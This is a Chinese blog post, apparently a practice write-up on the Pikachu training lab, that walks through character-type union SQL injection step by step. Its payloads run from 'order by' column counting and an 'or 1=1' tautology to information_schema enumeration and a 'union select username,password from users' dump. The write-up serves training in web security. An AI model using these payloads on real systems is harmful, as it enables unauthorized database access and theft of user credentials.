联合查询注入——字符型

联合查询注入——字符型注入

1.查看界面

  初始界面:

  查询成功反馈:

 查询失败反馈:

  可以看见,这次是直接在框中进行输入内容,并且对输入内容均有反馈,在该类型的输入框中,我们可以直接在输入框中进行注入操作,当然, 你喜欢用bp也行,反正我是懒狗。

  (当然,在真实的情况中,我们是不知道查询成功的反馈情况的,所以我们需要通过order语句判断回显行数)

2.分析回显行数

  判断是否有1行:

1
1'order by 1#

  判断是否有2行:

1
1'order by 2#

  判断是否有3行:

1
1'order by 3#

  当判断第3行时,显示回显错误,说明后端数据库传递过来的数据一共回显两行。接下来尝试or的注入

3.尝试or的注入

  尝试让它将用户表所有人的信息查询出来,在后面加上永真的判断注入:

1
1'or 1=1 #

4.获取数据库名

  接下来尝试用union的语句进行联合查询注入

1
1'union select database(),user()#

  通过查询我们获取到了数据库名为pikaqiu,用户名为root

5.获取表名

  利用查出来的数据库名称 pikachu 构建payload查询表名

6.获取表

  查询pikachu这个数据库发现里面有个users表,查看相关内容:

1
1'union select table_name,column_name from information_schema.columns where table_schema = 'pikachu' and TABLE_NAME = 'users'#

7.获取表的内容

  知道了所属的所有表名,接下由于联合查询要求前后两个SQL语句的列名数要一致,所以这里只能用两个列名进行查询。

1
1'union select username,password from users#

8.进行解码

  内容和数字型的结果一样需要解码,可以翻阅上一篇文章看就好,不过多阐述了。


联合查询注入——字符型
https://one-null-pointer.github.io/2022/08/09/SQL注入——字符型/
Author
liaoyue
Posted on
August 9, 2022
传送口